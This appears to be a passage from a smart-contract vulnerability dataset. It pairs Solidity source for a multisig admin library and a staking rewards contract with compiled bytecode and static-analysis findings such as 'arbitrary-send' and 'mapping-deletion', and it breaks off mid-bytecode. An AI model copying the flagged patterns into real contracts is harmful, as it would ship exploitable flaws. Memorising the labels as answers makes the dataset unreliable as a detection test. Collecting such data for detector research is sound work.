remove admins. this is a dev only function. * -requirements: never less than 1 admin * never less than 1 dev * never less admins than required signatures * never less devs than required dev signatures * @param _who - address of the admin you wish to remove */ function removeAdmin(address _who) public onlyDevs() { // we can put our requires outside the multisig, this will prevent // creating a proposal that would never pass checks anyway. require(adminCount_ > 1, "removeAdmin failed - cannot have less than 2 admins"); require(adminCount_ >= requiredSignatures_, "removeAdmin failed - cannot have less admins than number of required signatures"); if (admins_[_who].isDev == true) { require(devCount_ > 1, "removeAdmin failed - cannot have less than 2 devs"); require(devCount_ >= requiredDevSignatures_, "removeAdmin failed - cannot have less devs than number of required dev signatures"); } // checks passed if (MSFun.multiSig(msData, requiredDevSignatures_, "removeAdmin") == true) { MSFun.deleteProposal(msData, "removeAdmin"); // must check this so we dont mess up admin count by removing someone // who wasnt an admin to start with if (admins_[_who].isAdmin == true) { //set admins flag to false in admin mapping admins_[_who].isAdmin = false; //adjust admin count and required signatures adminCount_ -= 1; if (requiredSignatures_ > 1) { requiredSignatures_ -= 1; } } // were they also a dev? if (admins_[_who].isDev == true) { //set dev flag to false admins_[_who].isDev = false; //adjust dev count and required dev signatures devCount_ -= 1; if (requiredDevSignatures_ > 1) { requiredDevSignatures_ -= 1; } } } } /** * @dev DEV - change the number of required signatures. must be between * 1 and the number of admins. this is a dev only function * @param _howMany - desired number of required signatures */ function changeRequiredSignatures(uint256 _howMany) public onlyDevs() { // make sure its between 1 and number of admins require(_howMany > 0 && _howMany <= adminCount_, "changeRequiredSignatures failed - must be between 1 and number of admins"); if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredSignatures") == true) { MSFun.deleteProposal(msData, "changeRequiredSignatures"); // store new setting. requiredSignatures_ = _howMany; } } /** * @dev DEV - change the number of required dev signatures. must be between * 1 and the number of devs. this is a dev only function * @param _howMany - desired number of required dev signatures */ function changeRequiredDevSignatures(uint256 _howMany) public onlyDevs() { // make sure its between 1 and number of admins require(_howMany > 0 && _howMany <= devCount_, "changeRequiredDevSignatures failed - must be between 1 and number of devs"); if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredDevSignatures") == true) { MSFun.deleteProposal(msData, "changeRequiredDevSignatures"); // store new setting. requiredDevSignatures_ = _howMany; } } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // EXTERNAL FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function requiredSignatures() external view returns(uint256) {return(requiredSignatures_);} function requiredDevSignatures() external view returns(uint256) {return(requiredDevSignatures_);} function adminCount() external view returns(uint256) {return(adminCount_);} function devCount() external view returns(uint256) {return(devCount_);} function adminName(address _who) external view returns(bytes32) {return(admins_[_who].name);} function isAdmin(address _who) external view returns(bool) {return(admins_[_who].isAdmin);} function isDev(address _who) external view returns(bool) {return(admins_[_who].isDev);} } library MSFun { //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DATA SETS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // contact data setup struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { // a hash of msg.data bytes32 msgData; // number of signers uint256 count; // tracking of wither admins have signed mapping (address => bool) admin; // list of admins who have signed mapping (uint256 => address) log; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // MULTI SIG FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { // our proposal key will be a hash of our function name + our contracts address // by adding our contracts address to this, we prevent anyone trying to circumvent // the proposal&#39;s security via external calls. bytes32 _whatProposal = whatProposal(_whatFunction); // this is just done to make the code more readable. grabs the signature count uint256 _currentCount = self.proposal_[_whatProposal].count; // store the address of the person sending the function call. we use msg.sender // here as a layer of security. in case someone imports our contract and tries to // circumvent function arguments. still though, our contract that imports this // library and calls multisig, needs to use onlyAdmin modifiers or anyone who // calls the function will be a signer. address _whichAdmin = msg.sender; // prepare our msg data. by storing this we are able to verify that all admins // are approving the same argument input to be executed for the function. we hash // it and store in bytes32 so its size is known and comparable bytes32 _msgData = keccak256(msg.data); // check to see if this is a new execution of this proposal or not if (_currentCount == 0) { // if it is, lets record the original signers data self.proposal_[_whatProposal].msgData = _msgData; // record original senders signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) // also useful if the calling function wants to give something to a // specific signer. self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; // if we now have enough signatures to execute the function, lets // return a bool of true. we put this here in case the required signatures // is set to 1. if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } // if its not the first execution, lets make sure the msgData matches } else if (self.proposal_[_whatProposal].msgData == _msgData) { // msgData is a match // make sure admin hasnt already signed if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { // record their signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; } // if we now have enough signatures to execute the function, lets // return a bool of true. // we put this here for a few reasons. (1) in normal operation, if // that last recorded signature got us to our required signatures. we // need to return bool of true. (2) if we have a situation where the // required number of signatures was adjusted to at or lower than our current // signature count, by putting this here, an admin who has already signed, // can call the function again to make it return a true bool. but only if // they submit the correct msg data if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } // deletes proposal signature data after successfully executing a multiSig function function deleteProposal(Data storage self, bytes32 _whatFunction) internal { //done for readability sake bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; //delete the admins votes & log. i know for loops are terrible. but we have to do this //for our data stored in mappings. simply deleting the proposal itself wouldn&#39;t accomplish this. for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } //delete the rest of the data in the record delete self.proposal_[_whatProposal]; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // HELPER FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // VANITY FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // returns a hashed version of msg.data sent by original signer for any given function function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } // returns number of signers for any given function function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } // returns address of an admin who signed for any given function function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, "MSFun checkSigner failed - 0 not allowed"); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } }
0x6080604052600436106100c15763ffffffff60e060020a6000350416630c3f64bf81146101515780630efcf295146101865780631785f53c146101a057806324d7806c146101c15780632b7832b3146101e25780632c29665614610209578063372cd1831461022157806339f636ab1461024a57806366d38203146102625780638d06804314610283578063a553506e14610298578063af1c084d146102c9578063cebc141a146102ea578063ed3643d6146102ff578063fcf2f85f1461033e575b600054604080517fd0e30db00000000000000000000000000000000000000000000000000000000081529051600160a060020a039092169163d0e30db091303191600480830192602092919082900301818588803b15801561012257600080fd5b505af1158015610136573d6000803e3d6000fd5b50505050506040513d602081101561014d57600080fd5b5050005b34801561015d57600080fd5b50610172600160a060020a0360043516610353565b604080519115158252519081900360200190f35b34801561019257600080fd5b5061019e600435610376565b005b3480156101ac57600080fd5b5061019e600160a060020a03600435166103f8565b3480156101cd57600080fd5b50610172600160a060020a03600435166107d8565b3480156101ee57600080fd5b506101f76107f6565b60408051918252519081900360200190f35b34801561021557600080fd5b5061019e6004356107fc565b34801561022d57600080fd5b5061019e600160a060020a0360043516602435604435151561098c565b34801561025657600080fd5b5061019e600435610b27565b34801561026e57600080fd5b5061019e600160a060020a0360043516610cb7565b34801561028f57600080fd5b506101f7610d70565b3480156102a457600080fd5b506102b0600435610d76565b6040805192835260208301919091528051918290030190f35b3480156102d557600080fd5b506101f7600160a060020a0360043516610e29565b3480156102f657600080fd5b506101f7610e47565b34801561030b57600080fd5b50610320600435602435604435606435610e4d565b60408051938452602084019290925282820152519081900360600190f35b34801561034a57600080fd5b506101f761108e565b600160a060020a0316600090815260026020526040902054610100900460ff1690565b3360009081526002602052604090205460ff6101009091041615156001146103ea576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b6103f5600182611094565b50565b3360009081526002602052604090205460ff61010090910416151560011461046c576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b6003546001106104da576040805160e560020a62461bcd028152602060048201526033602482015260008051602061149a83398151915260448201527f206c657373207468616e20322061646d696e7300000000000000000000000000606482015290519081900360840190fd5b6005546003541015610570576040805160e560020a62461bcd02815260206004820152604f602482015260008051602061149a83398151915260448201527f206c6573732061646d696e73207468616e206e756d626572206f66207265717560648201527f69726564207369676e6174757265730000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03811660009081526002602052604090205460ff610100909104161515600114156106a05760045460011061060a576040805160e560020a62461bcd028152602060048201526031602482015260008051602061149a83398151915260448201527f206c657373207468616e20322064657673000000000000000000000000000000606482015290519081900360840190fd5b60065460045410156106a0576040805160e560020a62461bcd028152602060048201526051602482015260008051602061149a83398151915260448201527f206c6573732064657673207468616e206e756d626572206f662072657175697260648201527f656420646576207369676e617475726573000000000000000000000000000000608482015290519081900360a40190fd5b6106ce60016006547f72656d6f766541646d696e000000000000000000000000000000000000000000611146565b1515600114156103f55761070360017f72656d6f766541646d696e000000000000000000000000000000000000000000611094565b600160a060020a03811660009081526002602052604090205460ff1615156001141561076957600160a060020a0381166000908152600260205260409020805460ff19169055600380546000190190556005546001101561076957600580546000190190555b600160a060020a03811660009081526002602052604090205460ff610100909104161515600114156103f557600160a060020a0381166000908152600260205260409020805461ff001916905560048054600019019055600654600110156103f5576006805460001901905550565b600160a060020a031660009081526002602052604090205460ff1690565b60035490565b3360009081526002602052604090205460ff610100909104161515600114610870576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b60008111801561088257506004548111155b1515610924576040805160e560020a62461bcd02815260206004820152604960248201527f6368616e676552657175697265644465765369676e617475726573206661696c60448201527f6564202d206d757374206265206265747765656e203120616e64206e756d626560648201527f72206f6620646576730000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b61095260016006547f6368616e676552657175697265644465765369676e6174757265730000000000611146565b1515600114156103f55761098760017f6368616e676552657175697265644465765369676e6174757265730000000000611094565b600655565b3360009081526002602052604090205460ff610100909104161515600114610a00576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b610a2e60016006547f61646441646d696e000000000000000000000000000000000000000000000000611146565b151560011415610b0757610a6360017f61646441646d696e000000000000000000000000000000000000000000000000611094565b600160a060020a03831660009081526002602052604090205460ff161515610abd57600160a060020a0383166000908152600260205260409020805460ff1916600190811790915560038054820190556005805490910190555b60018115151415610b0757600160a060020a0383166000908152600260205260409020805461ff001916610100831515021790556004805460019081019091556006805490910190555b50600160a060020a03909116600090815260026020526040902060010155565b3360009081526002602052604090205460ff610100909104161515600114610b9b576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b600081118015610bad57506003548111155b1515610c4f576040805160e560020a62461bcd02815260206004820152604860248201527f6368616e676552657175697265645369676e617475726573206661696c65642060448201527f2d206d757374206265206265747765656e203120616e64206e756d626572206f60648201527f662061646d696e73000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610c7d60016006547f6368616e676552657175697265645369676e6174757265730000000000000000611146565b1515600114156103f557610cb260017f6368616e676552657175697265645369676e6174757265730000000000000000611094565b600555565b3360009081526002602052604090205460ff610100909104161515600114610d2b576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b600054600160a060020a031615610d4157600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055490565b33600090815260026020526040812054819060ff161515600114610e0a576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b610e156001846112fd565b610e20600185611321565b91509150915091565b600160a060020a031660009081526002602052604090206001015490565b60045490565b336000908152600260205260408120548190819060ff161515600114610ee3576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b3063af1c084d610ef560018a8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b505050506040513d6020811015610f6a57600080fd5b50513063af1c084d610f7e60018b8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fc957600080fd5b505af1158015610fdd573d6000803e3d6000fd5b505050506040513d6020811015610ff357600080fd5b50513063af1c084d61100760018c8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b505050506040513d602081101561107c57600080fd5b50519199909850909650945050505050565b60065490565b60008060006110a284611405565b9250600090505b60008381526020869052604090206001015481101561112b57600083815260208681526040808320848452600381018084528285208054600160a060020a031680875260029093018552928520805460ff191690559385905292909152805473ffffffffffffffffffffffffffffffffffffffff1916905591506001016110a9565b50506000908152602092909252506040812081815560010155565b600080600080600061115786611405565b600081815260208a905260408082206001015490519296509450339350903690808383808284376040519201829003909120945050508415159150611221905057600084815260208981526040808320848155600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a905290810180549091019081905587141561121c57600194506112f2565b6112f2565b6000848152602089905260409020548114156112f257600084815260208981526040808320600160a060020a038616845260020190915290205460ff1615156112d457600084815260208981526040808320600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190555b6000848152602089905260409020600101548714156112f257600194505b505050509392505050565b60008061130983611405565b60009081526020949094525050604090912054919050565b60008061132d83611405565b60009081526020949094525050604090912060010154919050565b6000808083116113c8576040805160e560020a62461bcd02815260206004820152602860248201527f4d5346756e20636865636b5369676e6572206661696c6564202d2030206e6f7460448201527f20616c6c6f776564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6113d184611405565b60008181526020878152604080832060001988018452600301909152902054600160a060020a031692509050509392505050565b6040805160208082018490526c01000000000000000000000000300282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106114675780518252601f199092019160209182019101611448565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050560072656d6f766541646d696e206661696c6564202d2063616e6e6f7420686176656f6e6c7944657673206661696c6564202d206d73672e73656e646572206973206e6f742061206465760000000000000000000000000000000000000000000000a165627a7a7230582021a10b5327bb7954c2a7d37030c1eecf4ba335ca82e79d3f0c245dd3759d34a10029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,883
0xd17d7368937E5C5cfA82E86a2F5e1A43FF5e243a
// SPDX-License-Identifier: MIT /** *Submitted for verification at arbiscan.io on 2021-09-08 */ //SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), 'Ownable: new owner is the zero address' ); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StakedTokenWrapper { uint256 public totalSupply; mapping(address => uint256) private _balances; IERC20 public stakedToken; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } string constant _transferErrorMessage = 'staked token transfer failed'; function stakeFor(address forWhom, uint128 amount) public payable virtual { IERC20 st = stakedToken; if (st == IERC20(address(0))) { //eth unchecked { totalSupply += msg.value; _balances[forWhom] += msg.value; } } else { require(msg.value == 0, 'non-zero eth'); require(amount > 0, 'Cannot stake 0'); require( st.transferFrom(msg.sender, address(this), amount), _transferErrorMessage ); unchecked { totalSupply += amount; _balances[forWhom] += amount; } } emit Staked(forWhom, amount); } function withdraw(uint128 amount) public virtual { require(amount <= _balances[msg.sender], 'withdraw: balance is lower'); unchecked { _balances[msg.sender] -= amount; totalSupply = totalSupply - amount; } IERC20 st = stakedToken; if (st == IERC20(address(0))) { //eth (bool success, ) = msg.sender.call{ value: amount }(''); require(success, 'eth transfer failure'); } else { require( stakedToken.transfer(msg.sender, amount), _transferErrorMessage ); } emit Withdrawn(msg.sender, amount); } } contract BerriesRewards is StakedTokenWrapper, Ownable { IERC20 public rewardToken; uint256 public rewardRate; uint64 public periodFinish; uint64 public lastUpdateTime; uint128 public rewardPerTokenStored; struct UserRewards { uint128 userRewardPerTokenPaid; uint128 rewards; } mapping(address => UserRewards) public userRewards; event RewardAdded(uint256 reward); event RewardPaid(address indexed user, uint256 reward); constructor(IERC20 _rewardToken, IERC20 _stakedToken) { rewardToken = _rewardToken; stakedToken = _stakedToken; } modifier updateReward(address account) { uint128 _rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); rewardPerTokenStored = _rewardPerTokenStored; userRewards[account].rewards = earned(account); userRewards[account].userRewardPerTokenPaid = _rewardPerTokenStored; _; } function lastTimeRewardApplicable() public view returns (uint64) { uint64 blockTimestamp = uint64(block.timestamp); return blockTimestamp < periodFinish ? blockTimestamp : periodFinish; } function rewardPerToken() public view returns (uint128) { uint256 totalStakedSupply = totalSupply; if (totalStakedSupply == 0) { return rewardPerTokenStored; } unchecked { uint256 rewardDuration = lastTimeRewardApplicable() - lastUpdateTime; return uint128( rewardPerTokenStored + (rewardDuration * rewardRate * 1e18) / totalStakedSupply ); } } function earned(address account) public view returns (uint128) { unchecked { return uint128( (balanceOf(account) * (rewardPerToken() - userRewards[account].userRewardPerTokenPaid)) / 1e18 + userRewards[account].rewards ); } } function stake(uint128 amount) external payable { stakeFor(msg.sender, amount); } function stakeFor(address forWhom, uint128 amount) public payable override updateReward(forWhom) { super.stakeFor(forWhom, amount); } function withdraw(uint128 amount) public override updateReward(msg.sender) { super.withdraw(amount); } function exit() external { getReward(); withdraw(uint128(balanceOf(msg.sender))); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { userRewards[msg.sender].rewards = 0; require( rewardToken.transfer(msg.sender, reward), 'reward transfer failed' ); emit RewardPaid(msg.sender, reward); } } function setRewardParams(uint128 reward, uint64 duration) external onlyOwner { unchecked { require(reward > 0); rewardPerTokenStored = rewardPerToken(); uint64 blockTimestamp = uint64(block.timestamp); uint256 maxRewardSupply = rewardToken.balanceOf(address(this)); if (rewardToken == stakedToken) maxRewardSupply -= totalSupply; uint256 leftover = 0; if (blockTimestamp >= periodFinish) { rewardRate = reward / duration; } else { uint256 remaining = periodFinish - blockTimestamp; leftover = remaining * rewardRate; rewardRate = (reward + leftover) / duration; } require(reward + leftover <= maxRewardSupply, 'not enough tokens'); lastUpdateTime = blockTimestamp; periodFinish = blockTimestamp + duration; emit RewardAdded(reward); } } function withdrawReward() external onlyOwner { uint256 rewardSupply = rewardToken.balanceOf(address(this)); //ensure funds staked by users can't be transferred out if (rewardToken == stakedToken) rewardSupply -= totalSupply; require(rewardToken.transfer(msg.sender, rewardSupply)); rewardRate = 0; periodFinish = uint64(block.timestamp); } } /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: YFIRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */
0x6080604052600436106101045760003560e01c80628cc2621461010957806302387a7b1461013f5780630660f1e81461016157806318160ddd146101c25780633d18b912146101e657806370458d85146101fb57806370a082311461020e578063715018a61461022e5780637b0a47ee1461024357806380faa57d1461025957806388fe2be81461028657806389ee4bde146102995780638da5cb5b146102b9578063c885bc58146102e6578063c8f33c91146102fb578063cc7a262e14610322578063cd3daf9d14610342578063df136d6514610357578063e9fad8ee1461037e578063ebe2b12b14610393578063f2fde38b146103b3578063f7c618c1146103d3575b600080fd5b34801561011557600080fd5b50610129610124366004611262565b6103f3565b60405161013691906113fd565b60405180910390f35b34801561014b57600080fd5b5061015f61015a3660046112d5565b610468565b005b34801561016d57600080fd5b506101a261017c366004611262565b6007602052600090815260409020546001600160801b0380821691600160801b90041682565b604080516001600160801b03938416815292909116602083015201610136565b3480156101ce57600080fd5b506101d860005481565b604051908152602001610136565b3480156101f257600080fd5b5061015f610507565b61015f610209366004611283565b6106d6565b34801561021a57600080fd5b506101d8610229366004611262565b610777565b34801561023a57600080fd5b5061015f610792565b34801561024f57600080fd5b506101d860055481565b34801561026557600080fd5b5061026e6107f4565b6040516001600160401b039091168152602001610136565b61015f6102943660046112d5565b610828565b3480156102a557600080fd5b5061015f6102b43660046112ef565b610835565b3480156102c557600080fd5b506003546102d9906001600160a01b031681565b6040516101369190611348565b3480156102f257600080fd5b5061015f610aaa565b34801561030757600080fd5b5060065461026e90600160401b90046001600160401b031681565b34801561032e57600080fd5b506002546102d9906001600160a01b031681565b34801561034e57600080fd5b50610129610c31565b34801561036357600080fd5b5060065461012990600160801b90046001600160801b031681565b34801561038a57600080fd5b5061015f610cc6565b34801561039f57600080fd5b5060065461026e906001600160401b031681565b3480156103bf57600080fd5b5061015f6103ce366004611262565b610cdc565b3480156103df57600080fd5b506004546102d9906001600160a01b031681565b6001600160a01b0381166000908152600760205260408120546001600160801b03600160801b8204811691670de0b6b3a76400009116610431610c31565b036001600160801b031661044485610777565b028161046057634e487b7160e01b600052601260045260246000fd5b040192915050565b336000610473610c31565b905061047d6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b029190911693909116929092179190911790556104be826103f3565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b03191691909117905561050283610d0f565b505050565b336000610512610c31565b905061051c6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561055d826103f3565b6001600160a01b03831660009081526007602052604081206001600160801b038481169316600160801b026001600160801b031916929092179091556105a2336103f3565b6001600160801b03169050801561050257336000818152600760205260409081902080546001600160801b0316905560048054915163a9059cbb60e01b81526001600160a01b039092169263a9059cbb926105ff9286910161135c565b602060405180830381600087803b15801561061957600080fd5b505af115801561062d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065191906112b5565b61069b5760405162461bcd60e51b81526020600482015260166024820152751c995dd85c99081d1c985b9cd9995c8819985a5b195960521b60448201526064015b60405180910390fd5b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486906020015b60405180910390a2505050565b8160006106e1610c31565b90506106eb6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561072c826103f3565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b0319169190911790556107718484610f70565b50505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031633146107bc5760405162461bcd60e51b8152600401610692906113c8565b6003546040516000916001600160a01b031690600080516020611435833981519152908390a3600380546001600160a01b0319169055565b60065460009042906001600160401b0390811690821610610820576006546001600160401b0316610822565b805b91505090565b61083233826106d6565b50565b6003546001600160a01b0316331461085f5760405162461bcd60e51b8152600401610692906113c8565b6000826001600160801b03161161087557600080fd5b61087d610c31565b600680546001600160801b03928316600160801b029216919091179055600480546040516370a0823160e01b815242926000926001600160a01b0316916370a08231916108cc91309101611348565b60206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c9190611330565b6002546004549192506001600160a01b039182169116141561093e5760005490035b6006546000906001600160401b039081169084161061099857836001600160401b0316856001600160801b03168161098657634e487b7160e01b600052601260045260246000fd5b046001600160801b03166005556109e2565b506006546005546001600160401b0391821684900382169081029185166001600160801b0387168301816109dc57634e487b7160e01b600052601260045260246000fd5b04600555505b8181866001600160801b0316011115610a315760405162461bcd60e51b81526020600482015260116024820152706e6f7420656e6f75676820746f6b656e7360781b6044820152606401610692565b600680546001600160801b031916600160401b6001600160401b03808716919091026001600160401b03191691909117858701919091161790556040517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d90610a9b9087906113fd565b60405180910390a15050505050565b6003546001600160a01b03163314610ad45760405162461bcd60e51b8152600401610692906113c8565b600480546040516370a0823160e01b81526000926001600160a01b03909216916370a0823191610b0691309101611348565b60206040518083038186803b158015610b1e57600080fd5b505afa158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b569190611330565b6002546004549192506001600160a01b0391821691161415610b8257600054610b7f9082611411565b90505b6004805460405163a9059cbb60e01b81526001600160a01b039091169163a9059cbb91610bb391339186910161135c565b602060405180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0591906112b5565b610c0e57600080fd5b506000600555600680546001600160401b031916426001600160401b0316179055565b6000805480610c52575050600654600160801b90046001600160801b031690565b600654600090600160401b90046001600160401b0316610c706107f4565b036001600160401b03169050816005548202670de0b6b3a76400000281610ca757634e487b7160e01b600052601260045260246000fd5b6006546001600160801b03600160801b90910416919004019392505050565b610cce610507565b610cda61015a33610777565b565b6003546001600160a01b03163314610d065760405162461bcd60e51b8152600401610692906113c8565b61083281611180565b336000908152600160205260409020546001600160801b0382161115610d745760405162461bcd60e51b81526020600